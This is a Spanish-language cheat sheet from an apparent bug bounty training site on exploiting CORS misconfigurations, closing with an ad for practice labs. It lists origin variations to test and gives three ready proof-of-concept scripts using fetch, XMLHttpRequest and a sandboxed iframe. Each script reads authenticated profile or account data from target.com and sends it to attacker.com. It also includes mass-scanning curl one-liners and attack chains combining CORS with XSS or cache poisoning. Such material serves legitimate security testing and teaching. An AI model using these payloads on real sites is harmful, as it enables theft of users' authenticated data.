Cheatsheet CORS
Cross-Origin Resource Sharing
Referencia rápida
- →CORS misconfiguration solo es explotable si Access-Control-Allow-Credentials: true
- →Wildcard (*) en ACAO no permite credenciales - no es explotable directamente
- →Si el origin se refleja exactamente, probar variaciones: null, subdominios, prefijos
- →Combinar con XSS en subdominio: el CORS confia en *.target.com + XSS en sub.target.com
- →Cache poisoning + CORS puede afectar a todos los usuarios, no solo a la victima
Deteccion de CORS misconfiguration
Origin reflejadoSi la respuesta contiene Access-Control-Allow-Origin: https://evil.com + Credentials: true = explotable
Origin: https://evil.com
Origin nullPaginas sandboxed (iframes) envian origin null
Origin: null
Subdominio del targetSi acepta cualquier subdominio, buscar XSS en subdominios
Origin: https://evil.target.com
Prefijo del dominio
Origin: https://target.com.evil.com
Sufijo del dominio
Origin: https://eviltarget.com
PoC de explotacion
Exfiltrar datos con fetch
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(d))));
</script>PoC con XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true;
xhr.onload = function() {
fetch('https://attacker.com/log?data=' + encodeURIComponent(xhr.responseText));
};
xhr.send();
</script>Origin null via iframe sandboxiframe sandbox envia Origin: null
<iframe sandbox="allow-scripts" srcdoc="<script>
fetch('https://target.com/api/me', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/?d='+btoa(d)));
</script>"></iframe>Metodologia de testing
Scan masivo con httpx
cat alive.txt | parallel -j 50 curl -sk -H "Origin: https://evil.com" -o /dev/null -D - {} | grep -i "access-control"Subfinder + CORS check
subfinder -d target.com | httpx -silent | while read url; do curl -s -H "Origin: https://evil.com" "$url" -D - | grep -i "access-control" done
Cadenas de ataque con CORS
XSS en subdominio + CORSSubdomain takeover + CORS es una cadena clasica
1. Encontrar XSS en sub.target.com 2. CORS acepta Origin: https://sub.target.com 3. Desde XSS: fetch datos autenticados de target.com 4. Exfiltrar via XSS callback
CORS + cache poisoning
1. Enviar request con Origin: evil.com 2. Si la respuesta se cachea CON el header ACAO 3. Otros usuarios reciben la respuesta cacheada 4. El browser permite cross-origin desde evil.com
Herramientas
CORScanner
Scanner automatizado de CORS misconfigurations en multiples dominios
python3 cors_scan.py -i targets.txt -t 50
Corsy
Detecta misconfigurations CORS con multiples variaciones de Origin
python3 corsy.py -u https://target.com
curl manual
Verificacion rapida manual de CORS headers
curl -s -H "Origin: https://evil.com" -I https://target.com/api/me | grep -i access-control
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras